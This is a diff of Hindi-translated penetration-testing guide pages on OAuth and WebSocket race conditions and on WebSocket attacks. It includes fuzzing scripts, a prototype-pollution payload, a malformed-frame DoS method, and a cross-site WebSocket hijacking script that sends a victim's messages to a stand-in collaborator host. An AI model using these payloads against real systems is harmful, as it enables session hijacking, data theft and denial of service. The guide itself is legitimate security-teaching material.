तो, यहाँ तक कि यह एक सामान्य लॉगिन है जैसे google/linkedin/github... जहाँ आपको एक पृष्ठ पर संकेत दिया जाता है: "_एप्लिकेशन \<InsertCoolName> आपकी जानकारी तक पहुँचने की इच्छा रखता है, क्या आप इसे अनुमति देना चाहते हैं?_" ऐसा करने के लिए **client** को **permit your application** करके **OAUth provider** के अंदर उनके कुछ डेटा तक पहुँच की अनुमति देनी होगी।\
तो, अब तक यह बस google/linkedin/github... के साथ एक सामान्य लॉगिन है, जहाँ आपको एक पेज दिखता है जिस पर लिखा होता है: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### `authorization_code` में रेस कंडीशन #### Race Condition in `authorization_code`
**समस्या** तब उत्पन्न होती है जब आप **इसे स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुर्भावनापूर्ण एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए **`authorization_code`** से एक से अधिक AT/RT (_Authentication Token/Refresh Token_) उत्पन्न कर सके। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति दी है ताकि **कई खाते बनाए जा सकें**। फिर, यदि आप **एप्लिकेशन को अपने डेटा तक पहुँचने की अनुमति देना बंद कर देते हैं, तो एक जोड़ी AT/RT हटा दी जाएगी, लेकिन अन्य अभी भी मान्य रहेंगी**। समस्या तब उभरती है जब आप इसे **accept it** करते हैं और यह स्वचालित रूप से एक **`authorization_code`** malicious application को भेज देता है। फिर यह **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) आपके account के लिए **`authorization_code`** से। मूलतः, यह इस तथ्य का दुरुपयोग करता है कि आपने application को आपके डेटा तक पहुँच देने की अनुमति दी है ताकि यह **create several accounts** कर सके। यदि आप बाद में application को आपके डेटा तक पहुँच देना बंद कर देते हैं तो एक जोड़ी AT/RT हटाई जा सकती है, लेकिन अन्य जोड़ीयाँ अभी भी valid रहेंगी।
#### `Refresh Token` में रेस कंडीशन #### Race Condition in `Refresh Token`
एक बार जब आप **एक मान्य RT प्राप्त कर लेते हैं** तो आप **कई AT/RT उत्पन्न करने के लिए इसका दुरुपयोग करने की कोशिश कर सकते हैं** और **यहां तक कि यदि उपयोगकर्ता दुर्भावनापूर्ण एप्लिकेशन के लिए अपनी डेटा तक पहुँचने की अनुमतियाँ रद्द कर देता है, तो भी **कई RTs मान्य रहेंगी।** एक बार जब आप एक valid RT प्राप्त कर लेते हैं, तो आप इसे abuse करके कई AT/RT जनरेट करने की कोशिश कर सकते हैं और यहाँ तक कि यदि user malicious application के permissions रद्द कर दे, तब भी कई RTs valid बने रह सकते हैं।
## **RC वेब सॉकेट्स में** ## **RC in WebSockets**
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप एक PoC पा सकते हैं जो Java में वेब सॉकेट संदेशों को **समानांतर** में भेजने के लिए **रेस कंडीशंस का दुरुपयोग** करता है। - [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप Java में एक PoC पा सकते हैं जो websocket messages को parallel में भेजकर Web Sockets में भी Race Conditions का दुरुपयोग करता है।
- Burp’s WebSocket Turbo Intruder के साथ आप **THREADED** engine का उपयोग करके multiple WS connections spawn कर सकते हैं और payloads parallel में भेज सकते हैं। आधिकारिक उदाहरण से शुरू करें और concurrency के लिए `config()` (thread count) को tune करें; जब server‑side state को WS handlers के पार race करना हो तो यह अक्सर एक single connection पर batching से अधिक reliable होता है। देखें [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## संदर्भ ## References
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -380,5 +382,8 @@ session['enforce_mfa'] = True
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

242
src/pentesting-web/websocket-attacks.md
View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## What are WebSockets ## WebSockets क्या हैं
WebSocket कनेक्शन एक प्रारंभिक **HTTP** हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें **दीर्घकालिक** होने के लिए डिज़ाइन किया गया है, जो किसी भी समय द्विदिशीय संदेश भेजने की अनुमति देता है बिना लेन-देन प्रणाली की आवश्यकता के। यह WebSockets को उन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनाता है जो **कम विलंबता या सर्वर-प्रारंभित संचार** की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम। WebSocket कनेक्शंस एक प्रारंभिक **HTTP** हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें **लंबी अवधि वाले** उपयोग के लिए डिज़ाइन किया गया है, जो किसी लेनदेन-आधारित सिस्टम की आवश्यकता के बिना किसी भी समय द्विदिश मैसेजिंग की अनुमति देता है। इससे WebSockets उन एप्लिकेशनों के लिए विशेष रूप से उपयोगी होते हैं जिन्हें **कम विलम्बता या सर्वर-प्रेरित संचार** की आवश्यकता होती है, जैसे लाइव फाइनेंशियल डेटा स्ट्रीम्स।
### Establishment of WebSocket Connections ### WebSocket कनेक्शन की स्थापना
WebSocket कनेक्शन स्थापित करने पर विस्तृत विवरण [**यहां**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) पहुंचा जा सकता है। संक्षेप में, WebSocket कनेक्शन आमतौर पर क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से आरंभ किए जाते हैं जैसा कि नीचे दिखाया गया है: WebSocket कनेक्शन स्थापित करने पर एक विस्तृत व्याख्या [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) पर उपलब्ध है। सारांश में, WebSocket कनेक्शन आमतौर पर client-side JavaScript के माध्यम से आरंभ किए जाते हैं, जैसा कि नीचे दिखाया गया है:
```javascript ```javascript
var ws = new WebSocket("wss://normal-website.com/ws") var ws = new WebSocket("wss://normal-website.com/ws")
``` ```
`wss` प्रोटोकॉल एक WebSocket कनेक्शन को **TLS** के साथ सुरक्षित करता है, जबकि `ws` एक **असुरक्षित** कनेक्शन को दर्शाता है। The `wss` प्रोटोकॉल एक WebSocket कनेक्शन को दर्शाता है जो **TLS** के साथ सुरक्षित है, जबकि `ws` एक **unsecured** कनेक्शन को दर्शाता है।
कनेक्शन स्थापित करते समय, HTTP के माध्यम से ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र एक अनुरोध भेजता है और सर्वर प्रतिक्रिया करता है, जैसा कि निम्नलिखित उदाहरणों में दर्शाया गया है: कनेक्शन स्थापित करने के दौरान, browser और server के बीच HTTP पर एक handshake किया जाता है। Handshake प्रक्रिया में browser अनुरोध भेजता है और server जवाब देता है, जैसा कि निम्न उदाहरणों में दिखाया गया है:
ब्राउज़र एक हैंडशेक अनुरोध भेजता है: Browser एक handshake अनुरोध भेजता है:
```javascript ```javascript
GET /chat HTTP/1.1 GET /chat HTTP/1.1
Host: normal-website.com Host: normal-website.com
@ -26,88 +26,205 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket Upgrade: websocket
``` ```
सर्वर का हैंडशेक प्रतिक्रिया: Server का handshake response:
```javascript ```javascript
HTTP/1.1 101 Switching Protocols HTTP/1.1 101 Switching Protocols
Connection: Upgrade Connection: Upgrade
Upgrade: websocket Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
``` ```
कनेक्शन स्थापित होने के बाद संदेशों के आदान-प्रदान के लिए दोनों दिशाओं में खुला रहता है। कनेक्शन एक बार स्थापित हो जाने के बाद दोनों दिशाओं में संदेशों के आदान-प्रदान के लिए खुला रहता है।
**WebSocket हैंडशेक के मुख्य बिंदु:** **WebSocket Handshake के प्रमुख बिंदु:**
- `Connection` और `Upgrade` हेडर WebSocket हैंडशेक की शुरुआत का संकेत देते हैं। - `Connection` और `Upgrade` हेडर WebSocket handshake की शुरुआत का संकेत देते हैं।
- `Sec-WebSocket-Version` हेडर वांछित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, जो आमतौर पर `13` होता है। - `Sec-WebSocket-Version` हेडर इच्छित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, सामान्यतः `13`।
- `Sec-WebSocket-Key` हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, यह सुनिश्चित करते हुए कि प्रत्येक हैंडशेक अद्वितीय है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है, बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं की गई है। - Base64-encoded यादृच्छिक मान `Sec-WebSocket-Key` हेडर में भेजा जाता है, जिससे हर handshake अनूठा होता है और caching proxies से संबंधित समस्याओं को रोकने में मदद मिलती है। यह मान authentication के लिए नहीं होता; यह पुष्टि करने के लिए है कि response किसी misconfigured server या cache द्वारा जनरेट नहीं किया गया है।
- सर्वर की प्रतिक्रिया में `Sec-WebSocket-Accept` हेडर `Sec-WebSocket-Key` का एक हैश है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है। - सर्वर के response में `Sec-WebSocket-Accept` हेडर `Sec-WebSocket-Key` का एक hash होता है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।
ये विशेषताएँ सुनिश्चित करती हैं कि हैंडशेक प्रक्रिया सुरक्षित और विश्वसनीय है, जो कुशल वास्तविक समय संचार के लिए मार्ग प्रशस्त करती है। ये विशेषताएँ handshake प्रक्रिया को सुरक्षित और विश्वसनीय बनाती हैं, जिससे प्रभावी रीयल-टाइम संचार संभव होता है।
### Linux कंसोल ### Linux कंसोल
आप `websocat` का उपयोग करके websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं। आप `websocat` का उपयोग WebSocket के साथ एक raw connection स्थापित करने के लिए कर सकते हैं।
```bash ```bash
websocat --insecure wss://10.10.10.10:8000 -v websocat --insecure wss://10.10.10.10:8000 -v
``` ```
या एक websocat सर्वर बनाने के लिए: या websocat सर्वर बनाने के लिए:
```bash ```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000 websocat -s 0.0.0.0:8000 #Listen in port 8000
``` ```
### MitM websocket connections ### MitM websocket कनेक्शन
यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से **HTTP websocket** से जुड़े हुए हैं, तो आप [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला किया जा सके।\ यदि आप पाते हैं कि आपके वर्तमान लोकल नेटवर्क से क्लाइंट्स किसी **HTTP websocket** से जुड़े हुए हैं तो आप [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) का प्रयोग करके client और server के बीच MitM attack कर सकते हैं.\
एक बार जब क्लाइंट आपसे कनेक्ट करने की कोशिश कर रहा हो, तो आप इसका उपयोग कर सकते हैं: जब client आपसे कनेक्ट करने की कोशिश करेगा, तब आप निम्न का उपयोग कर सकते हैं:
```bash ```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
``` ```
### Websockets enumeration ### Websockets सूचीकरण
आप **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **का उपयोग करके websockets में ज्ञात** **vulnerabilities** **को स्वचालित रूप से खोजने, फिंगरप्रिंट करने और खोजने के लिए कर सकते हैं।** You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.
### Websocket Debug tools ### Websocket Debug tools
- **Burp Suite** MitM websockets संचार का समर्थन करता है जिस तरह से यह नियमित HTTP संचार के लिए करता है। - **Burp Suite** नियमित HTTP संचार की तरह ही Websocket संचार में MitM का समर्थन करता है।
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite एक्सटेंशन** आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, **history** प्राप्त करके, **interception rules** सेट करके, **match and replace** नियमों का उपयोग करके, **Intruder** और **AutoRepeater** का उपयोग करके। - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** आपको Burp में Websocket संचार बेहतर तरीके से प्रबंधित करने की अनुमति देगा — जैसे कि **history** प्राप्त करना, **interception rules** सेट करना, **match and replace** नियमों का उपयोग करना, और **Intruder** व **AutoRepeater** का उपयोग करना।
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" के लिए संक्षिप्त, यह उपकरण, जो Node.js में लिखा गया है, **कैप्चर, इंटरसेप्ट, कस्टम** संदेश भेजने और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO संचार को देखने के लिए एक उपयोगकर्ता इंटरफ़ेस प्रदान करता है। - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", यह tool, Node.js में लिखा गया, एक user interface प्रदान करता है ताकि आप **capture, intercept, send custom** messages कर सकें और client तथा server के बीच सभी WebSocket और Socket.IO संचार देख सकें।
- [**wsrepl**](https://github.com/doyensec/wsrepl) एक **इंटरएक्टिव websocket REPL** है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह **incoming websocket messages** को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को **automating** करने के लिए एक उपयोग में आसान ढांचा है। - [**wsrepl**](https://github.com/doyensec/wsrepl) एक **interactive websocket REPL** है जो खासकर penetration testing के लिए डिज़ाइन किया गया है। यह एक इंटरफ़ेस प्रदान करता है जिससे आप **incoming websocket messages and sending new ones** को देख सकते हैं, और इस संचार को **automating** करने के लिए एक आसान फ्रेमवर्क देता है।
- [**https://websocketking.com/**](https://websocketking.com/) यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** है। - [**https://websocketking.com/**](https://websocketking.com/) यह एक **web to communicate** है जो **websockets** का उपयोग करके अन्य वेब्स के साथ संचार करने के लिए है।
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह **websockets** का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक **वेब** प्रदान करता है। - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) अन्य प्रकार के communications/protocols के साथ-साथ, यह **web to communicate** प्रदान करता है जिससे अन्य वेब्स के साथ **websockets** का उपयोग करके संचार किया जा सकता है।
## Decrypting Websocket ## Websocket डिक्रिप्ट करना
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Websocket Lab ## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) में आपके पास websockets का उपयोग करके एक वेब लॉन्च करने के लिए कोड है और [**इस पोस्ट**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) में आप एक व्याख्या पा सकते हैं। In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) में आपको websockets का उपयोग करते हुए एक वेब लॉन्च करने का कोड मिलता है और in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) आप एक व्याख्या पा सकते हैं।
## Websocket Fuzzing ## Websocket Fuzzing
Burp एक्सटेंशन [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) अब WebSocket संदेशों को भी फज़ करने की अनुमति देता है। आप इसके बारे में अधिक जानकारी [**यहां**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) पढ़ सकते हैं। The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) अब WebSocket messages को भी fuzz करने की अनुमति देता है। आप इसके बारे में और जानकारी इस [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) पढ़ सकते हैं।
### WebSocket Turbo Intruder (Burp extension)
PortSwigger's WebSocket Turbo Intruder Turbo Intruder–style Python scripting और high‑rate fuzzing को WebSockets पर लाता है। इसे BApp Store से या source से इंस्टॉल करें। इसमें दो घटक शामिल हैं:
- Turbo Intruder: custom engines का उपयोग कर एकल WS endpoint पर high‑volume messaging।
- HTTP Middleware: एक local HTTP endpoint expose करता है जो bodies को persistent connection पर WS messages के रूप में आगे भेजता है, इसलिए कोई भी HTTP‑based scanner WS backends को probe कर सकता है।
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
एक संदेश कई प्रतिक्रियाएँ ट्रिगर करे तो शोर कम करने के लिए `@MatchRegex(...)` जैसे decorators का उपयोग करें।
### Bridge WS behind HTTP (HTTP Middleware)
एक स्थायी WS कनेक्शन को wrap करें और HTTP बॉडीज़ को WS messages के रूप में आगे भेजें, ताकि HTTP scanners के साथ automated testing की जा सके:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
फिर स्थानीय रूप से HTTP भेजें; body WS संदेश के रूप में अग्रेषित किया जाता है:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
यह आपको WS backends को ड्राइव करने और “interesting” events (उदा., SQLi errors, auth bypass, command injection behavior) के लिए फ़िल्टर करने देता है।
### Socket.IO handling (handshake, heartbeats, events)
Socket.IO WS के ऊपर अपना framing जोड़ता है। इसे अनिवार्य query parameter `EIO` (उदा., `EIO=4`) के जरिए पहचानें। सत्र को Ping (`2`) और Pong (`3`) के साथ जीवित रखें और वार्तालाप की शुरुआत `"40"` से करें, फिर ऐसे इवेंट emit करें: `42["message","hello"]`.
Intruder उदाहरण:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
HTTP एडाप्टर वेरिएंट:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Detecting server‑side prototype pollution via Socket.IO
PortSwigger’s safe detection technique का अनुसरण करते हुए, Express internals को pollute करने के लिए नीचे जैसा payload भेजें:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
यदि greetings या व्यवहार बदलता है (उदा., echo में "Polluted" शामिल है), तो संभवतः आपने server-side prototypes में prototype pollution किया है। प्रभाव पहुँच योग्य sinks पर निर्भर करता है; Node.js prototype pollution सेक्शन में मौजूद gadgets के साथ correlate करें। देखें:
- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
डिफ़ॉल्ट engine एक ही connection पर messages को batch करता है (उच्च throughput, लेकिन races के लिए खराब)। THREADED engine का उपयोग करें ताकि multiple WS connections spawn हों और payloads को parallel में भेजकर logic races (double‑spend, token reuse, state desync) ट्रिगर किए जा सकें। example script से शुरू करें और concurrency को `config()` में ट्यून करें।
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
ऐसे WS frames craft करें जिनका header बहुत बड़ी payload length declare करे पर body नहीं भेजें। कुछ WS servers length पर भरोसा करते हैं और buffers pre‑allocate कर लेते हैं; इसे `Integer.MAX_VALUE` के करीब सेट करने से Out‑Of‑Memory और remote unauth DoS हो सकता है। example script देखें।
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- Enable the WS Logger to capture and correlate messages using internal IDs.
- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
### Operational safety
High‑rate WS fuzzing कई connections खोल सकता है और प्रति सेकंड हजारों messages भेज सकता है। Malformed frames और high rates वास्तविक DoS पैदा कर सकते हैं। केवल वहीँ उपयोग करें जहाँ अनुमति हो।
## Cross-site WebSocket hijacking (CSWSH) ## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, जिसे **cross-origin WebSocket hijacking** के रूप में भी जाना जाता है, को **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** के एक विशिष्ट मामले के रूप में पहचाना जाता है जो WebSocket हैंडशेक को प्रभावित करता है। यह सुरक्षा भेद्यता तब उत्पन्न होती है जब WebSocket हैंडशेक केवल **HTTP cookies** के माध्यम से प्रमाणित होते हैं बिना **CSRF tokens** या समान सुरक्षा उपायों के। **Cross-site WebSocket hijacking**, जिसे **cross-origin WebSocket hijacking** भी कहा जाता है, एक विशिष्ट प्रकार का **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** है जो WebSocket handshakes को प्रभावित करता है। यह कमजोरी तब उत्पन्न होती है जब WebSocket handshakes केवल **HTTP cookies** के माध्यम से authenticate करते हैं और कोई **CSRF tokens** या समान सुरक्षा उपाय नहीं होते।
हमलावर इसको एक **malicious web page** होस्ट करके शोषण कर सकते हैं जो एक कमजोर एप्लिकेशन के लिए क्रॉस-साइट WebSocket कनेक्शन शुरू करता है। परिणामस्वरूप, यह कनेक्शन एप्लिकेशन के साथ पीड़ित के सत्र का हिस्सा माना जाता है, जो सत्र प्रबंधन तंत्र में CSRF सुरक्षा की कमी का लाभ उठाता है। Attackers इसे तब exploit कर सकते हैं जब वे एक **malicious web page** होस्ट करते हैं जो vulnerable application के खिलाफ एक cross-site WebSocket connection शुरू करता है। परिणामस्वरूप, यह connection victim के application session का हिस्सा माना जाता है, क्योंकि session handling में CSRF सुरक्षा की कमी का फायदा उठाया जा रहा होता है।
इस हमले के सफल होने के लिए, ये आवश्यकताएँ हैं: इस attack के काम करने के लिए आवश्यकताएँ:
- Websocket **authentication को cookie आधारित होना चाहिए** - The websocket **authentication must be cookie based**
- कुकी को हमलावर के सर्वर से सुलभ होना चाहिए (इसका मतलब आमतौर पर **`SameSite=None`** है) और Firefox में **Firefox Total Cookie Protection** सक्षम नहीं होना चाहिए और Chrome में **blocked third-party cookies** नहीं होनी चाहिए। - The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
- Websocket सर्वर को कनेक्शन के मूल की जांच नहीं करनी चाहिए (या इसे बायपास किया जा सकता है) - The websocket server must not check the origin of the connection (or this must be bypasseable)
इसके अलावा: Also:
- यदि प्रमाणीकरण एक स्थानीय कनेक्शन (localhost या स्थानीय नेटवर्क के लिए) पर आधारित है तो हमला **संभव होगा** क्योंकि वर्तमान में कोई सुरक्षा इसे रोकती नहीं है (चेक करें [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) - If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack ### Simple Attack
ध्यान दें कि जब **websocket** कनेक्शन **स्थापित** किया जा रहा है तो **cookie** **सर्वर** को **भेजी** जाती है। **सर्वर** इसे **विशिष्ट** **उपयोगकर्ता** को उसके **websocket** **सत्र** से संबंधित करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है। ध्यान दें कि जब **establishing** एक **websocket** connection की जाती है तो **cookie** server को **sent** की जाती है। **Server** इसका उपयोग कर सकता है ताकि भेजी गई **cookie** के आधार पर हर **specific** **user** को उसके **websocket** **session** से relate किया जा सके।
फिर, यदि **उदाहरण के लिए** **websocket** **सर्वर** **एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है** यदि एक msg "**READY"** भेजा जाता है, तो एक **simple XSS** कनेक्शन स्थापित करने (क्योंकि **cookie** **स्वचालित रूप से** पीड़ित उपयोगकर्ता को अधिकृत करने के लिए **भेजी** जाएगी) **"READY"** भेजने से **बातचीत** का इतिहास **प्राप्त** कर सकेगा। यदि, उदाहरण के लिए, वह **websocket** **server** किसी user की बातचीत का इतिहास वापस भेजता है यदि उसे msg जिसमें "**READY**" हो भेजा जाए, तो एक साधारण **XSS** जो connection स्थापित करती है (cookie स्वचालित रूप से victim user को authorize करने के लिए भेजी जाएगी) और "**READY**" भेजती है, वह बातचीत का इतिहास retrieve कर पाएगी.:
```html ```html
<script> <script>
websocket = new WebSocket('wss://your-websocket-URL') websocket = new WebSocket('wss://your-websocket-URL')
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
``` ```
### Cross Origin + Cookie with a different subdomain ### Cross Origin + Cookie with a different subdomain
इस ब्लॉग पोस्ट में [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) हमलावर ने **एक उपडोमेन में मनमाना Javascript निष्पादित करने में सफल रहा** जहाँ वेब सॉकेट संचार हो रहा था। चूंकि यह **उपडोमेन** था, **कुकी** **भेजी जा रही थी**, और चूंकि **Websocket ने सही तरीके से Origin की जांच नहीं की**, इसलिए इसके साथ संवाद करना और **इससे टोकन चुराना** संभव था। इस ब्लॉग पोस्ट [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) attacker ने उस domain के उस हिस्से में जहाँ websocket communication हो रही थी, **execute arbitrary Javascript in a subdomain** करने में सफलता पाई। चूँकि यह एक **subdomain** था, **cookie** भेजा जा रहा था, और चूँकि **Websocket didn't check the Origin properly**, इसलिए इसके साथ communicate करना और इससे **steal tokens from it** संभव हो गया।
### Stealing data from user ### उपयोगकर्ता से डेटा चुराना
